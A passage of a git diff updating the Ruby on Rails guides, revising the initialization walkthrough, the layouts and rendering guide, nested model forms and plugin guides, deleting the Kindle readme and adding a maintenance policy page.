-  puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
-  puts "=> Run `rails server -h` for more startup options"
+  print_boot_information
   trap(:INT) { exit }
-  puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+  create_tmp_directories
+  log_to_stdout if options[:log_stdout]
+
+  super
+  ...
+end
+
+private
+
+  def print_boot_information
+    ...
+    puts "=> Run `rails server -h` for more startup options"
+    ...
+    puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+  end
 
-  #Create required tmp directories if not found
-  %w(cache pids sessions sockets).each do |dir_to_make|
-    FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
+  def create_tmp_directories
+    %w(cache pids sockets).each do |dir_to_make|
+      FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+    end
   end
 
-  unless options[:daemonize]
+  def log_to_stdout
     wrapped_app # touch the app so the logger is set up
 
     console = ActiveSupport::Logger.new($stdout)
     console.formatter = Rails.logger.formatter
+    console.level = Rails.logger.level
 
     Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
   end
-
-  super
-ensure
-  # The '-h' option calls exit before @options is set.
-  # If we call 'options' with it unset, we get double help banners.
-  puts 'Exiting' unless @options && options[:daemonize]
-end
 ```
 
-This is where the first output of the Rails initialization happens. This
-method creates a trap for `INT` signals, so if you `CTRL-C` the server,
-it will exit the process. As we can see from the code here, it will
-create the `tmp/cache`, `tmp/pids`, `tmp/sessions` and `tmp/sockets`
-directories. It then calls `wrapped_app` which is responsible for
-creating the Rack app, before creating and assigning an
-instance of `ActiveSupport::Logger`.
+This is where the first output of the Rails initialization happens. This method
+creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the
+process. As we can see from the code here, it will create the `tmp/cache`,
+`tmp/pids`, and `tmp/sockets` directories. It then calls `wrapped_app` which is
+responsible for creating the Rack app, before creating and assigning an instance
+of `ActiveSupport::Logger`.
 
 The `super` method will call `Rack::Server.start` which begins its definition like this:
 
@@ -360,7 +440,11 @@ The `app` method here is defined like so:
 
 ```ruby
 def app
-  @app ||= begin
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
     if !::File.exist? options[:config]
       abort "configuration #{options[:config]} not found"
     end
@@ -369,7 +453,10 @@ def app
     self.options.merge! options
     app
   end
-end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
 ```
 
 The `options[:config]` value defaults to `config.ru` which contains this:
@@ -385,8 +472,14 @@ run <%= app_const %>
 The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
 
 ```ruby
-app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
-    TOPLEVEL_BINDING, config
+app = new_from_string cfgfile, config
+
+...
+
+def self.new_from_string(builder_script, file="(rackup)")
+  eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
+    TOPLEVEL_BINDING, file, 0
+end
 ```
 
 The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
@@ -399,11 +492,22 @@ require ::File.expand_path('../config/environment', __FILE__)
 
 This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
 
-This file begins with requiring `config/application.rb`.
+This file begins with requiring `config/application.rb`:
+
+```ruby
+require File.expand_path('../application', __FILE__)
+```
 
 ### `config/application.rb`
 
-This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.
+This file requires `config/boot.rb`:
+
+```ruby
+require File.expand_path('../boot', __FILE__)
+```
+
+But only if it hasn't been required before, which would be the case in `rails server`
+but **wouldn't** be the case with Passenger.
 
 Then the fun begins!
 
@@ -424,11 +528,12 @@ This file is responsible for requiring all the individual frameworks of Rails:
 require "rails"
 
 %w(
-    active_record
-    action_controller
-    action_mailer
-    rails/test_unit
-    sprockets
+  active_record
+  action_controller
+  action_view
+  action_mailer
+  rails/test_unit
+  sprockets
 ).each do |framework|
   begin
     require "#{framework}/railtie"
@@ -448,12 +553,12 @@ I18n and Rails configuration are all being defined here.
 ### Back to `config/environment.rb`
 
 The rest of `config/application.rb` defines the configuration for the
-`Rails::Application` which will be used once the application is fully 
+`Rails::Application` which will be used once the application is fully
 initialized. When `config/application.rb` has finished loading Rails and defined
 the application namespace, we go back to `config/environment.rb`,
 where the application is initialized. For example, if the application was called
-`Blog`, here we would find `Blog::Application.initialize!`, which is
-defined in `rails/application.rb`
+`Blog`, here we would find `Rails.application.initialize!`, which is
+defined in `rails/application.rb`.
 
 ### `railties/lib/rails/application.rb`
 
@@ -468,14 +573,24 @@ def initialize!(group=:default) #:nodoc:
 end
 ```
 
-As you can see, you can only initialize an app once. This is also where the initializers are run.
+As you can see, you can only initialize an app once. The initializers are run through
+the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`:
 
-TODO: review this
+```ruby
+def run_initializers(group=:default, *args)
+  return if instance_variable_defined?(:@ran)
+  initializers.tsort_each do |initializer|
+    initializer.run(*args) if initializer.belongs_to?(group)
+  end
+  @ran = true
+end
+```
 
-The initializers code itself is tricky. What Rails is doing here is it
-traverses all the class ancestors looking for an `initializers` method,
-sorting them and running them. For example, the `Engine` class will make
-all the engines available by providing the `initializers` method.
+The `run_initializers` code itself is tricky. What Rails is doing here is
+traversing all the class ancestors looking for those that respond to an
+`initializers` method. It then sorts the ancestors by name, and runs them.
+For example, the `Engine` class will make all the engines available by
+providing an `initializers` method on them.
 
 The `Rails::Application` class, as defined in `railties/lib/rails/application.rb`
 defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers
@@ -484,7 +599,7 @@ initializers (like building the middleware stack) are run last. The `railtie`
 initializers are the initializers which have been defined on the `Rails::Application`
 itself and are run between the `bootstrap` and `finishers`.
 
-After this is done we go back to `Rack::Server`
+After this is done we go back to `Rack::Server`.
 
 ### Rack: lib/rack/server.rb
 
@@ -492,7 +607,11 @@ Last time we left when the `app` method was being defined:
 
 ```ruby
 def app
-  @app ||= begin
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
     if !::File.exist? options[:config]
       abort "configuration #{options[:config]} not found"
     end
@@ -501,7 +620,10 @@ def app
     self.options.merge! options
     app
   end
-end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
 ```
 
 At this point `app` is the Rails app itself (a middleware), and what
@@ -519,7 +641,7 @@ def build_app(app)
 end
 ```
 
-Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`.
+Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`.
 Here's how it looked like when we left:
 
 ```ruby
@@ -527,40 +649,50 @@ server.run wrapped_app, options, &blk
 ```
 
 At this point, the implementation of `server.run` will depend on the
-server you're using. For example, if you were using Mongrel, here's what
+server you're using. For example, if you were using Puma, here's what
 the `run` method would look like:
 
 ```ruby
-def self.run(app, options={})
-  server = ::Mongrel::HttpServer.new(
-    options[:Host]           || '0.0.0.0',
-    options[:Port]           || 8080,
-    options[:num_processors] || 950,
-    options[:throttle]       || 0,
-    options[:timeout]        || 60)
-  # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
-  # Use is similar to #run, replacing the app argument with a hash of
-  # { path=>app, ... } or an instance of Rack::URLMap.
-  if options[:map]
-    if app.is_a? Hash
-      app.each do |path, appl|
-        path = '/'+path unless path[0] == ?/
-        server.register(path, Rack::Handler::Mongrel.new(appl))
-      end
-    elsif app.is_a? URLMap
-      app.instance_variable_get(:@mapping).each do |(host, path, appl)|
-       next if !host.nil? && !options[:Host].nil? && options[:Host] != host
-       path = '/'+path unless path[0] == ?/
-       server.register(path, Rack::Handler::Mongrel.new(appl))
-      end
-    else
-      raise ArgumentError, "first argument should be a Hash or URLMap"
-    end
-  else
-    server.register('/', Rack::Handler::Mongrel.new(app))
+...
+DEFAULT_OPTIONS = {
+  :Host => '0.0.0.0',
+  :Port => 8080,
+  :Threads => '0:16',
+  :Verbose => false
+}
+
+def self.run(app, options = {})
+  options  = DEFAULT_OPTIONS.merge(options)
+
+  if options[:Verbose]
+    app = Rack::CommonLogger.new(app, STDOUT)
+  end
+
+  if options[:environment]
+    ENV['RACK_ENV'] = options[:environment].to_s
   end
+
+  server   = ::Puma::Server.new(app)
+  min, max = options[:Threads].split(':', 2)
+
+  puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
+  puts "* Min threads: #{min}, max threads: #{max}"
+  puts "* Environment: #{ENV['RACK_ENV']}"
+  puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+
+  server.add_tcp_listener options[:Host], options[:Port]
+  server.min_threads = min
+  server.max_threads = max
   yield server if block_given?
-  server.run.join
+
+  begin
+    server.run.join
+  rescue Interrupt
+    puts "* Gracefully stopping, waiting for requests to finish"
+    server.stop(true)
+    puts "* Goodbye!"
+  end
+
 end
 ```
 
diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md
deleted file mode 100644
index 8c4fad18aa..0000000000
--- a/guides/source/kindle/KINDLE.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# Rails Guides on the Kindle
-
-
-## Synopsis
-
-  1. Obtain `kindlegen` from the link below and put the binary in your path
-  2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file
-  3. Copy `output/kindle/rails_guides.mobi` to your Kindle
-
-## Resources
-
-  * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format)
-  * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0)
-  * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf)
-  * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) 
-
-## TODO
-
-### Post release
-
-  * Integrate generated Kindle document into published HTML guides
-  * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it)
-  * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode)
-  * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides
-  * `.epub` generation.
-
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
index 0513066f5a..1005057ca9 100644
--- a/guides/source/layout.html.erb
+++ b/guides/source/layout.html.erb
@@ -1,10 +1,9 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<!DOCTYPE html>
 
 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-<meta name="viewport" content="width=device-width, initial-scale=1">
+<meta name="viewport" content="width=device-width, initial-scale=1"/>
 
 <title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
 <link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
@@ -36,7 +35,6 @@
         <li class="more-info"><a href="https://github.com/rails/rails">Code</a></li>
         <li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li>
         <li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li>
-        <li class="more-info"><a href="http://rubyonrails.org/ecosystem">Ecosystem</a></li>
         <li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li>
         <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
       </ul>
@@ -78,7 +76,6 @@
           </select>
         </li>
       </ul>
-      </div>
     </div>
   </div>
   <hr class="hide" />
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index b5d66d08ba..69d3f6e86c 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Layouts and Rendering in Rails
 ==============================
 
@@ -122,8 +124,7 @@ X-Runtime: 0.014297
 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
 Cache-Control: no-cache
 
-
- $
+$
 ```
 
 We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed.
@@ -137,7 +138,7 @@ If you want to render the view that corresponds to a different template within t
 ```ruby
 def update
   @book = Book.find(params[:id])
-  if @book.update(params[:book])
+  if @book.update(book_params)
     redirect_to(@book)
   else
     render "edit"
@@ -152,7 +153,7 @@ If you prefer, you can use a symbol instead of a string to specify the action to
 ```ruby
 def update
   @book = Book.find(params[:id])
-  if @book.update(params[:book])
+  if @book.update(book_params)
     redirect_to(@book)
   else
     render :edit
@@ -190,7 +191,7 @@ render file: "/u/apps/warehouse_app/current/app/views/products/show"
 
 The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
 
-NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `layout: true` option.
+NOTE: By default, the file is rendered using the current layout.
 
 TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames.
 
@@ -237,15 +238,35 @@ render inline: "xml.p {'Horrid coding practice!'}", type: :builder
 
 #### Rendering Text
 
-You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`:
+You can send plain text - with no markup at all - back to the browser by using
+the `:plain` option to `render`:
 
 ```ruby
-render text: "OK"
+render plain: "OK"
 ```
 
-TIP: Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.
+TIP: Rendering pure text is most useful when you're responding to Ajax or web
+service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the `:plain` option, the text is rendered without
+using the current layout. If you want Rails to put the text into the current
+layout, you need to add the `layout: true` option and use the `.txt.erb`
+extension for the layout file.
 
-NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option.
+#### Rendering HTML
+
+You can send an HTML string back to the browser by using the `:html` option to
+`render`:
+
+```ruby
+render html: "<strong>Not Found</strong>".html_safe
+```
+
+TIP: This is useful when you're rendering a small snippet of HTML code.
+However, you might want to consider moving it to a template file if the markup
+is complex.
+
+NOTE: This option will escape HTML entities if the string is not HTML safe.
 
 #### Rendering JSON
 
@@ -277,14 +298,31 @@ render js: "alert('Hello Rails');"
 
 This will send the supplied string to the browser with a MIME type of `text/javascript`.
 
+#### Rendering raw body
+
+You can send a raw content back to the browser, without setting any content
+type, by using the `:body` option to `render`:
+
+```ruby
+render body: "raw"
+```
+
+TIP: This option should be used only if you don't care about the content type of
+the response. Using `:plain` or `:html` might be more appropriate in most of the
+time.
+
+NOTE: Unless overridden, your response returned from this render option will be
+`text/html`, as that is the default content type of Action Dispatch response.
+
 #### Options for `render`
 
-Calls to the `render` method generally accept four options:
+Calls to the `render` method generally accept five options:
 
 * `:content_type`
 * `:layout`
 * `:location`
 * `:status`
+* `:formats`
 
 ##### The `:content_type` Option
 
@@ -390,6 +428,18 @@ Rails understands both numeric status codes and the corresponding symbols shown
 |                     | 510              | :not_extended                    |
 |                     | 511              | :network_authentication_required |
 
+NOTE:  If you try to render content along with a non-content status code 
+(100-199, 204, 205 or 304), it will be dropped from the response.
+
+##### The `:formats` Option
+
+Rails uses the format specified in request (or `:html` by default). You can change this adding the `:formats` option with a symbol or an array:
+
+```ruby
+render formats: :xml
+render formats: [:json, :xml]
+```
+
 #### Finding Layouts
 
 To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
@@ -405,7 +455,7 @@ class ProductsController < ApplicationController
 end
 ```
 
-With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout.
+With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout.
 
 To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
 
@@ -472,33 +522,33 @@ Layout declarations cascade downward in the hierarchy, and more specific layout
     end
     ```
 
-* `posts_controller.rb`
+* `articles_controller.rb`
 
     ```ruby
-    class PostsController < ApplicationController
+    class ArticlesController < ApplicationController
     end
     ```
 
-* `special_posts_controller.rb`
+* `special_articles_controller.rb`
 
     ```ruby
-    class SpecialPostsController < PostsController
+    class SpecialArticlesController < ArticlesController
       layout "special"
     end
     ```
 
-* `old_posts_controller.rb`
+* `old_articles_controller.rb`
 
     ```ruby
-    class OldPostsController < SpecialPostsController
+    class OldArticlesController < SpecialArticlesController
       layout false
 
       def show
-        @post = Post.find(params[:id])
+        @article = Article.find(params[:id])
       end
 
       def index
-        @old_posts = Post.older
+        @old_articles = Article.older
         render layout: "old"
       end
       # ...
@@ -508,10 +558,10 @@ Layout declarations cascade downward in the hierarchy, and more specific layout
 In this application:
 
 * In general, views will be rendered in the `main` layout
-* `PostsController#index` will use the `main` layout
-* `SpecialPostsController#index` will use the `special` layout
-* `OldPostsController#show` will use no layout at all
-* `OldPostsController#index` will use the `old` layout
+* `ArticlesController#index` will use the `main` layout
+* `SpecialArticlesController#index` will use the `special` layout
+* `OldArticlesController#show` will use no layout at all
+* `OldArticlesController#index` will use the `old` layout
 
 #### Avoiding Double Render Errors
 
@@ -704,7 +754,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th
 
 #### Linking to Feeds with the `auto_discovery_link_tag`
 
-The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
 
 ```erb
 <%= auto_discovery_link_tag(:rss, {action: "feed"},
@@ -869,7 +919,10 @@ You can also specify multiple videos to play by passing an array of videos to th
 This will produce:
 
 ```erb
-<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
+<video>
+  <source src="/videos/trailer.ogg">
+  <source src="/videos/movie.ogg">
+</video>
 ```
 
 #### Linking to Audio Files with the `audio_tag`
@@ -987,6 +1040,42 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
 
 Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
 
+As you already could see from the previous sections of this guide, `yield` is a very powerful tool for cleaning up your layouts. Keep in mind that it's pure ruby, so you can use it almost everywhere. For example, we can use it to DRY form layout definition for several similar resources:
+
+* `users/index.html.erb`
+
+    ```html+erb
+    <%= render "shared/search_filters", search: @q do |f| %>
+      <p>
+        Name contains: <%= f.text_field :name_contains %>
+      </p>
+    <%= end %>
+    ```
+
+* `roles/index.html.erb`
+
+    ```html+erb
+    <%= render "shared/search_filters", search: @q do |f| %>
+      <p>
+        Title contains: <%= f.text_field :title_contains %>
+      </p>
+    <%= end %>
+    ```
+
+* `shared/_search_filters.html.erb`
+
+    ```html+erb
+    <%= form_for(@q) do |f| %>
+      <h1>Search form:</h1>
+      <fieldset>
+        <%= yield f %>
+      </fieldset>
+      <p>
+        <%= f.submit "Search" %>
+      </p>
+    <% end %>
+    ```
+
 TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
 
 #### Partial Layouts
@@ -1009,7 +1098,6 @@ You can also pass local variables into partials, making them even more powerful
 
     ```html+erb
     <h1>New zone</h1>
-    <%= error_messages_for :zone %>
     <%= render partial: "form", locals: {zone: @zone} %>
     ```
 
@@ -1017,7 +1105,6 @@ You can also pass local variables into partials, making them even more powerful
 
     ```html+erb
     <h1>Editing zone</h1>
-    <%= error_messages_for :zone %>
     <%= render partial: "form", locals: {zone: @zone} %>
     ```
 
@@ -1122,11 +1209,11 @@ With this change, you can access an instance of the `@products` collection as th
 You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:
 
 ```erb
-<%= render partial: "products", collection: @products,
+<%= render partial: "product", collection: @products,
            as: :item, locals: {title: "Products Page"} %>
 ```
 
-Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`.
+In this case, the partial will have access to a local variable `title` with the value "Products Page".
 
 TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
 
diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md
new file mode 100644
index 0000000000..50308f505a
--- /dev/null
+++ b/guides/source/maintenance_policy.md
@@ -0,0 +1,80 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Maintenance Policy for Ruby on Rails
+====================================
+
+Support of the Rails framework is divided into four groups: New features, bug
+fixes, security issues, and severe security issues. They are handled as
+follows, all versions in `X.Y.Z` format.
+
+--------------------------------------------------------------------------------
+
+Rails follows a shifted version of [semver](http://semver.org/):
+
+**Patch `Z`**
+
+Only bug fixes, no API changes, no new features.
+Except as necessary for security fixes.
+
+**Minor `Y`**
+
+New features, may contain API changes (Serve as major versions of Semver).
+Breaking changes are paired with deprecation notices in the previous minor
+or major release.
+
+**Major `X`**
+
+New features, will likely contain API changes. The difference between Rails'
+minor and major releases is the magnitude of breaking changes, and usually
+reserved for special occasions.
+
+New Features
+------------
+
+New features are only added to the master branch and will not be made available
+in point releases.
+
+Bug Fixes
+---------
+
+Only the latest release series will receive bug fixes. When enough bugs are
+fixed and its deemed worthy to release a new gem, this is the branch it happens
+from.
+
+In special situations, where someone from the Core Team agrees to support more series,
+they are included in the list of supported series.
+
+**Currently included series:** `4.2.Z`, `4.1.Z` (Supported by Rafael França).
+
+Security Issues
+---------------
+
+The current release series and the next most recent one will receive patches
+and new versions in case of a security issue.
+
+These releases are created by taking the last released version, applying the
+security patches, and releasing. Those patches are then applied to the end of
+the x-y-stable branch. For example, a theoretical 1.2.3 security release would
+be built from 1.2.2, and then added to the end of 1-2-stable. This means that
+security releases are easy to upgrade to if you're running the latest version
+of Rails.
+
+**Currently included series:** `4.2.Z`, `4.1.Z`.
+
+Severe Security Issues
+----------------------
+
+For severe security issues we will provide new versions as above, and also the
+last major release series will receive patches and new versions. The
+classification of the security issue is judged by the core team.
+
+**Currently included series:** `4.2.Z`, `4.1.Z`, `3.2.Z`.
+
+Unsupported Release Series
+--------------------------
+
+When a release series is no longer supported, it's your own responsibility to
+deal with bugs and security issues. We may provide backports of the fixes and
+publish them to git, however there will be no new versions released. If you are
+not comfortable maintaining your own versions, you should upgrade to a
+supported version.
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
index 855fab18e3..1937369776 100644
--- a/guides/source/nested_model_forms.md
+++ b/guides/source/nested_model_forms.md
@@ -1,4 +1,6 @@
-Rails nested model forms
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Rails Nested Model Forms
 ========================
 
 Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
@@ -17,9 +19,9 @@ Model setup
 
 To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
 
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build.
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be built.
 
-If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.
 
 Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
 
@@ -54,6 +56,9 @@ class Person < ActiveRecord::Base
 end
 ```
 
+NOTE: For greater detail on associations see [Active Record Associations](association_basics.html).
+For a complete reference on associations please visit the API documentation for [ActiveRecord::Associations::ClassMethods](http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html).
+
 ### Custom model
 
 As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
@@ -220,6 +225,6 @@ As you can see it has generated 2 `project name` inputs, one for each new `proje
 
 You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
 
-NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+NOTE: The reason that `fields_for` constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.
 
 TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index b52504b104..10738320ef 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -1,11 +1,13 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 The Basics of Creating Rails Plugins
 ====================================
 
 A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
 
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don't have to include every cool new feature under the sun
+* A way for developers to share bleeding-edge ideas without hurting the stable code base.
+* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
+* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
 
 After reading this guide, you will know:
 
@@ -15,7 +17,7 @@ After reading this guide, you will know:
 This guide describes how to build a test-driven plugin that will:
 
 * Extend core Ruby classes like Hash and String.
-* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins.
+* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins.
 * Give you information about where to put generators in your plugin.
 
 For the purpose of this guide pretend for a moment that you are an avid bird watcher.
@@ -34,15 +36,21 @@ different rails applications using RubyGems and Bundler if desired.
 
 
 Rails ships with a `rails plugin new` command which creates a
- skeleton for developing any kind of Rails extension with the ability
- to run integration tests using a dummy Rails application. See usage
- and options by asking for help:
+skeleton for developing any kind of Rails extension with the ability
+to run integration tests using a dummy Rails application. Create your 
+plugin with the command:
+
+```bash
+$ rails plugin new yaffle
+```
+
+See usage and options by asking for help:
 
 ```bash
-$ rails plugin --help
+$ rails plugin new --help
 ```
 
-Testing your newly generated plugin
+Testing Your Newly Generated Plugin
 -----------------------------------
 
 You can navigate to the directory that contains the plugin, run the `bundle install` command
@@ -51,7 +59,7 @@ You can navigate to the directory that contains the plugin, run the `bundle inst
 You should see:
 
 ```bash
-  2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+  1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
 ```
 
 This will tell you that everything got generated properly and you are ready to start adding functionality.
@@ -79,19 +87,19 @@ Run `rake` to run the test. This test should fail because we haven't implemented
 
 ```bash
     1) Error:
-  test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-  NoMethodError: undefined method `to_squawk' for [Hello World](String)
-      test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+  CoreExtTest#test_to_squawk_prepends_the_word_squawk:
+  NoMethodError: undefined method `to_squawk' for "Hello World":String
+    /path/to/yaffle/test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
 ```
 
 Great - now you are ready to start development.
 
-Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`:
+In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`:
 
 ```ruby
 # yaffle/lib/yaffle.rb
 
-require "yaffle/core_ext"
+require 'yaffle/core_ext'
 
 module Yaffle
 end
@@ -112,13 +120,13 @@ end
 To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.
 
 ```bash
-  3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+  2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
 ```
 
 To see this in action, change to the test/dummy directory, fire up a console and start squawking:
 
 ```bash
-$ rails console
+$ bin/rails console
 >> "Hello World".to_squawk
 => "squawk! Hello World"
 ```
@@ -126,8 +134,8 @@ $ rails console
 Add an "acts_as" Method to Active Record
 ----------------------------------------
 
-A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
-want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
+A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you
+want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models.
 
 To begin, set up your files so that you have:
 
@@ -143,7 +151,7 @@ end
 ```ruby
 # yaffle/lib/yaffle.rb
 
-require "yaffle/core_ext"
+require 'yaffle/core_ext'
 require 'yaffle/acts_as_yaffle'
 
 module Yaffle
@@ -162,9 +170,9 @@ end
 
 ### Add a Class Method
 
-This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
-plugin users might have already defined a method on their model named 'last_squawk' that they use
